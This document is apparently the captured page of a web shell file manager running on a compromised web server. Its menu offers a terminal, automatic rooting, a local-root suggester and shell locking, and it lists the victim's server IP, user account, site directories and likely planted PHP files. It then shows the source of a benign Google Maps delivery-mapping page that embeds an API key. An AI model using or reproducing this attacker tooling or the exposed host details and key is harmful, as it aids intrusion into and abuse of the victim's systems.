Linux host2.homegym.sg 4.18.0-553.8.1.el8_10.x86_64 #1 SMP Tue Jul 2 07:26:33 EDT 2024 x86_64
Apache
Server IP : 159.223.38.192 & Your IP : 159.223.38.192
Domains : 20 Domain
User : eachadea
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Lock Shell
Lock File++
Readme
/
home /
eachadea /
public_html /
Delete
Unzip
Name
Size
Permission
Date
Action
.well-known
[ DIR ]
drwxr-xr-x
2025-10-28 12:39
airbrush.sg
[ DIR ]
drwxr-x---
2025-10-30 03:31
appointment
[ DIR ]
drwxr-xr-x
2025-10-30 20:27
atelier
[ DIR ]
drwxr-x---
2025-10-29 23:03
atelier-fitness.com
[ DIR ]
drwxr-x---
2025-10-30 03:31
backup
[ DIR ]
drwxr-xr-x
2025-10-29 23:03
bhg
[ DIR ]
drwxr-xr-x
2025-10-29 23:03
cgi2012
[ DIR ]
drwxr-xr-x
2025-10-29 23:03
delivery_summary
[ DIR ]
drwxr-x---
2025-10-29 23:03
eachadeal
[ DIR ]
drwxr-x---
2025-10-29 23:03
feeds
[ DIR ]
drwxrwxr-x
2025-10-29 23:03
gymconcept.sg
[ DIR ]
drwxr-x---
2025-10-30 03:31
homegym.com.sg
[ DIR ]
drwxr-x---
2025-10-30 03:31
homegym.my
[ DIR ]
drwxr-x---
2025-10-30 03:31
homegym.sg
[ DIR ]
drwxr-x---
2025-10-30 03:31
homegym2
[ DIR ]
drwxr-x---
2025-10-29 23:03
homegym_newsite
[ DIR ]
drwxr-x---
2025-10-29 23:03
m2
[ DIR ]
drwxr-x---
2025-10-29 23:03
maintenance
[ DIR ]
drwxr-xr-x
2025-10-29 23:03
marketplace
[ DIR ]
drwxr-x---
2025-10-29 23:03
showroom
[ DIR ]
drwxr-xr-x
2025-10-29 23:03
sqldumper
[ DIR ]
drwxr-xr-x
2025-10-29 23:03
staging
[ DIR ]
drwxr-x---
2025-10-29 23:03
symlink
[ DIR ]
drwxr-xr-x
2025-10-29 23:03
tg_cgi
[ DIR ]
drwxr-xr-x
2025-10-29 23:03
tg_config
[ DIR ]
drwxr-xr-x
2025-10-29 23:03
vigor-gym.com
[ DIR ]
drwxr-x---
2025-10-30 03:50
.ftpquota
20
B
-rw-------
2025-10-16 18:20
.htaccess
26
B
-rw-r--r--
2025-10-28 13:22
.user.ini
588
B
-rw-r--r--
2023-08-13 11:23
MapCreator.html
8.99
KB
-rw-r--r--
2024-03-26 07:10
MapCreatorOld.html
12.79
KB
-rw-r--r--
2021-08-27 03:55
adminer.php
3.27
KB
-rw-r--r--
2025-10-28 13:22
bhg-order.phtml
9.51
KB
-rw-r--r--
2020-11-16 03:08
detrack.php
1.18
KB
-rwxr-xr-x
2018-08-02 14:27
detrack_xml.php
1.21
KB
-rwxr-xr-x
2017-10-24 07:38
doc.php
12.56
KB
-rw-r--r--
2025-10-28 12:40
error_log
4.21
MB
-rw-r--r--
2024-05-31 08:36
getMapping.html
13
KB
-rw-r--r--
2021-08-16 02:15
info.php
20
B
-rw-r--r--
2016-01-04 05:16
order-form.phtml
4.82
KB
-rw-r--r--
2020-03-28 07:14
php.ini
638
B
-rw-r--r--
2023-08-13 11:23
phpinfo.php
171
B
-rw-r--r--
2020-09-01 08:57
test.php
110
B
-rw-r--r--
2020-11-13 08:16
testmap.html
7.33
KB
-rw-r--r--
2024-03-26 07:25
wp-ver.php
102.26
KB
-rw-r--r--
2025-10-28 12:35
wp.php
18
B
-rw-r--r--
2025-10-28 12:36
Save
Rename
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head> </head><body> <!-- BUG Cannot reinit to load again --> <!-- You can see the sample spreadsheet here: https://spreadsheets.google.com/pub?key=0AneCM3YnuzpAcG5FczJCXzM3Uy1ER0dGSTZrZFFaUFE&output=html --> <input type="textarea" id="json1" value=""> <input type="text" id="map" size="100" value="1C9psFWhdkF7cG6o3qF0Icqnyty9puYH8n7YVQVv6bcs"> <input type="submit" name="mysubmit" value="Load Data" onclick="loadData(); this.disabled = true; return false;"/> Delay: <input type="text" id="delay" size="20" value="0"><br/> <div style="width:1200px; font-family:Arial, sans-serif; font-size:11px; border:1px solid black"> <table id="cm_mapTABLE"> <tbody> <tr id="cm_mapTR"> <td> <div id="cm_map" style="width:1000px; height:600px"></div> </td> </tr> </tbody></table> </div> <div id="noResponse"></div> <br/><input type="submit" name="mysubmit" value="Export KML" onclick="exportFile();"/><br/> <textArea rows="50" cols="120" id="kml"></textarea> <script type="text/javascript" src="https://maps.google.com/maps/api/js?sensor=false"></script> <script async defer src="https://maps.googleapis.com/maps/api/js?key=AIzaSyBH5yKXuoQUYp21O6F7dxxhSr3s_F35c4s&callback=initMap" type="text/javascript"></script> <script type="text/javascript"> //<![CDATA[ var cm_map; var cm_openInfowindow; var cm_mapMarkers = []; var cm_mapHTMLS = []; var labels = ['1','2','3','4','5','6','7','8','9','10','11','12','13','14','15','16','17','18','19','20','21','22','23','24','25','26','27','28','29','30','31','32','33','34','35','36','37','38','39','40','41']; var labelIndex = 0; // Change these parameters to customize map var init = 0; var param_wsId = "od6"; var param_ssKey = "1C9psFWhdkF7cG6o3qF0Icqnyty9puYH8n7YVQVv6bcs"; var param_useSidebar = true; var param_titleColumn = "name"; var param_address = "address"; var param_descriptionColumn = "items"; var param_postcode = "postcode"; var param_number = "number"; var param_name = "name"; var param_comment = "comment"; var param_payment = "payment"; var param_date = "date"; var param_price = "price"; var param_iconColor = "color"; var param_iconType = "green"; var param_iconOverType = "orange"; var geocoder = null; var ic = 0; var entry; var json; var bounds; var sidebarDIV; var kml = ''; var sidebarTD; var noResponse = ""; var linkRemoved = 0; /** * Loads map and calls function to load in worksheet data. */ function cm_load() { var myLatlng = new google.maps.LatLng(1.355312,103.827667); var myOptions = { zoom: 12, center: myLatlng, mapTypeId: google.maps.MapTypeId.ROADMAP } cm_map = new google.maps.Map(document.getElementById("cm_map"), myOptions); geocoder = new google.maps.Geocoder(); cm_getJSON(); } function loadData() { param_ssKey = document.getElementById("map").value; if (init != 0) { ic = 0; kml = ''; linkRemoved = 0; sidebarTD.parentNode.removeChild(sidebarTD); } var json1 = JSON.parse(document.getElementById("json1").value); document.getElementById("kml").value = document.getElementById("json1").value; cm_loadMapJSON(json1); init = 1; } /** * Function called when marker on the map is clicked. * Opens an info window (bubble) above the marker. * @param {Number} markerNum Number of marker in global array */ function cm_markerClicked(markerNum) { var infowindowOptions = { content: cm_mapHTMLS[markerNum] } var infowindow = new google.maps.InfoWindow(infowindowOptions); infowindow.open(cm_map, cm_mapMarkers[markerNum]); cm_setInfowindow(infowindow); } /** * Function that sorts 2 worksheet rows from JSON feed * based on their rank column. Only called if column is defined. * @param {rowA} Object Represents row in JSON feed * @param {rowB} Object Represents row in JSON feed * @return {Number} Difference between row values */ function cm_sortRows(rowA, rowB) { var rowAValue = parseFloat(rowA["gsx$" + param_rankColumn].$t); var rowBValue = parseFloat(rowB["gsx$" + param_rankColumn].$t); return rowAValue - rowBValue; } /** * Called when JSON is loaded. Creates sidebar if param_sideBar is true. * Sorts rows if param_rankColumn is valid column. Iterates through worksheet rows, * creating marker and sidebar entries for each row. * @param {JSON} json Worksheet feed */ function cm_loadMapJSON(json) { this.json = json; var usingRank = false; if(param_useSidebar == true) { sidebarTD = document.createElement("td"); sidebarTD.setAttribute("width","150"); sidebarTD.setAttribute("valign","top"); sidebarDIV = document.createElement("div"); sidebarDIV.id = "cm_sidebarDIV"; sidebarDIV.style.overflow = "auto"; sidebarDIV.style.height = "550px"; sidebarDIV.style.fontSize = "11px"; sidebarDIV.style.color = "#000000"; sidebarTD.appendChild(sidebarDIV); document.getElementById("cm_mapTR").appendChild(sidebarTD); } bounds = new google.maps.LatLngBounds(); kml += '<?xml version="1.0" encoding="UTF-8"?>\n'; kml += '<kml xmlns="http://earth.google.com/kml/2.0">\n'; kml += '<Document>\n'; if (document.getElementById("delay").value == 0) document.getElementById("delay").value = json.feed.entry.length * 100; ic = 0; geocodeNext(); //cm_map.fitBounds(bounds); //cm_map.setCenter(bounds.getCenter()); } function geocodeNext() { if (ic < json.feed.entry.length) { entry = json.feed.entry[ic]; if (ic%5 == 0) { pausecomp(document.getElementById("delay").value); } if (ic%10 == 0) { pausecomp(2000); } //geocode from address if no postal code found /* if(entry["gsx$" + param_postcode].$t) { var postcode = entry["gsx$" + param_postcode].$t; geocode({'address': postcode}); } else { var address = entry["gsx$" + param_address].$t; geocode({'address': address}); } */ var address = entry["gsx$" + param_address].$t; geocode({'address': address}); } } function pausecomp(millis) { var date = new Date(); var curDate = null; do { curDate = new Date(); } while(curDate-date < millis); } function cm_setInfowindow(newInfowindow) { if (cm_openInfowindow != undefined) { cm_openInfowindow.close(); } cm_openInfowindow = newInfowindow; } /** * Creates marker with ranked Icon or blank icon, * depending if rank is defined. Assigns onclick function. * @param {GLatLng} point Point to create marker at * @param {String} title Tooltip title to display for marker * @param {String} html HTML to display in InfoWindow * @param {Number} rank Number rank of marker, used in creating icon * @return {GMarker} Marker created */ function cm_createMarker(map, latlng, title, html, color) { var iconSize = new google.maps.Size(20, 34); var iconShadowSize = new google.maps.Size(37, 34); var iconHotSpotOffset = new google.maps.Point(9, 0); // Should this be (9, 34)? var iconPosition = new google.maps.Point(0, 0); var infoWindowAnchor = new google.maps.Point(9, 2); var infoShadowAnchor = new google.maps.Point(18, 25); var iconShadowUrl = "http://www.google.com/mapfiles/shadow50.png"; var iconImageUrl; var iconImageOverUrl; var iconImageOutUrl; if(color) { iconImageOutUrl = "http://www.google.com/intl/en_us/mapfiles/ms/icons/"+ color + ".png"; iconImageOverUrl = "http://gmaps-samples.googlecode.com/svn/trunk/" + "markers/" + param_iconOverType + "/blank.png"; iconImageUrl = iconImageOutUrl; } else { iconImageOutUrl = "http://www.google.com/intl/en_us/mapfiles/ms/icons/"+ param_iconType + ".png"; iconImageOverUrl = "http://gmaps-samples.googlecode.com/svn/trunk/" + "markers/" + param_iconOverType + "/blank.png"; iconImageUrl = iconImageOutUrl; } kml += iconImageUrl; var markerShadow = new google.maps.MarkerImage(iconShadowUrl); //var markerImage = //new google.maps.MarkerImage(iconImageUrl); var markerImage = { url: iconImageUrl, labelOrigin: new google.maps.Point(15,10), }; var markerImageOver = new google.maps.MarkerImage(iconImageOverUrl, iconSize, iconPosition, iconHotSpotOffset); var markerImageOut = new google.maps.MarkerImage(iconImageOutUrl, iconSize, iconPosition, iconHotSpotOffset); var markerOptions = { title: title, icon: markerImage, shadow: markerShadow, position: latlng, map: map, label: { text: labels[labelIndex++ % labels.length], color: "#333", fontSize: "12px", fontWeight: "bold", } } var marker = new google.maps.Marker(markerOptions); google.maps.event.addListener(cm_map, "click", function() { cm_setInfowindow(null); }); google.maps.event.addListener(marker, "click", function() { var infowindowOptions = { content: html } var infowindow = new google.maps.InfoWindow(infowindowOptions); cm_setInfowindow(infowindow); infowindow.open(map, marker); }); //google.maps.event.addListener(marker, "mouseover", function() { // marker.setIcon(markerImageOver); //}); //google.maps.event.addListener(marker, "mouseout", function() { // marker.setIcon(markerImageOut); //}); return marker; } /** * Creates a script tag in the page that loads in the * JSON feed for the specified key/ID. * Once loaded, it calls cm_loadMapJSON. */ function cm_getJSON() { // Retrieve the JSON feed. var script = document.createElement('script'); script.setAttribute('src', 'https://spreadsheets.google.com/feeds/list' + '/' + param_ssKey + '/' + param_wsId + '/public/values' + '?alt=json-in-script&callback=cm_loadMapJSON'); script.setAttribute('id', 'jsonScript'); script.setAttribute('type', 'text/javascript'); document.documentElement.firstChild.appendChild(script); } //setTimeout('cm_load()', 500); function geocode(request) { var hash = ''; hash = 'q=' + request.address; var country = "Singapore"; if (country) { hash += '&country=' + country; request.country = country; } hashFragment = '#' + escape(hash); window.location.hash = escape(hash); geocoder.geocode(request, showResults); } function showResults(results, status) { entry = json.feed.entry[ic]; if (! results || status != google.maps.GeocoderStatus.OK) { //alert("Geocoder did not return a valid response for "+entry["gsx$"+param_titleColumn].$t); noResponse += entry["gsx$"+param_titleColumn].$t+'<br/>'; var noRes = document.getElementById("noResponse"); noRes.innerHTML = noResponse; linkRemoved++; } else { var value = results[0].geometry.location.toString(); value = value.replace("(", ""); value = value.replace(")", ""); var coords = value.split(','); var lat = parseFloat(coords[0]); var lng = parseFloat(coords[1]); var point = new google.maps.LatLng(lat,lng); var html = "<div style='font-size:12px'>"; html += "<strong>" + entry["gsx$"+param_titleColumn].$t + "</strong>"; var label = entry["gsx$"+param_titleColumn].$t; html += "<br /><strong>Number: </strong>" + entry["gsx$"+param_number].$t; html += "<br /><strong>Date: </strong>" + entry["gsx$"+param_date].$t; html += "<br /><strong>Address: </strong>" + (entry["gsx$"+param_address].$t).replace("\n", " "); html += "<br/><strong>Items:</strong><br/>" + (entry["gsx$"+param_descriptionColumn].$t).replace(/\n/g, "<br />"); html += "<br /><strong>Comment: </strong>" + entry["gsx$"+param_comment].$t; html += "<br /><br /><strong>"+entry["gsx$"+param_payment].$t+": </strong>" + entry["gsx$"+param_price].$t; html += "</div>"; kml += '<Placemark>\n'; kml += '<name>'+entry["gsx$"+param_titleColumn].$t+'</name>\n'; kml += '<description><![CDATA['; kml += html; kml += ']]></description>\n'; kml += '<Style><IconStyle><Icon><href>'; // create the marker var marker = cm_createMarker(cm_map,point,label,html, entry["gsx$"+param_iconColor].$t); // cm_map.addOverlay(marker); cm_mapMarkers.push(marker); cm_mapHTMLS.push(html); bounds.extend(point); kml += '</href></Icon></IconStyle></Style>\n'; kml += '<Point><coordinates>'; kml += lng+','+lat; kml += '</coordinates>'; kml += '</Point>\n</Placemark>\n'; if(param_useSidebar == true) { var markerA = document.createElement("a"); markerA.setAttribute("href","javascript:cm_markerClicked('" + (ic-linkRemoved) +"')"); markerA.style.color = "#000000"; var sidebarText= ""; sidebarText += label; markerA.appendChild(document.createTextNode(sidebarText)); sidebarDIV.appendChild(markerA); sidebarDIV.appendChild(document.createElement("br")); sidebarDIV.appendChild(document.createElement("br")); } } kml = kml.replace("</Document>\n</kml>", ""); kml += '</Document>\n</kml>'; var target = document.getElementById("kml"); target.innerHTML = kml; ic = ic+1; geocodeNext(); } function exportFile() { window.open("data:text/plain;charset=utf-8," + kml); }; //]]> </script> </body> </html>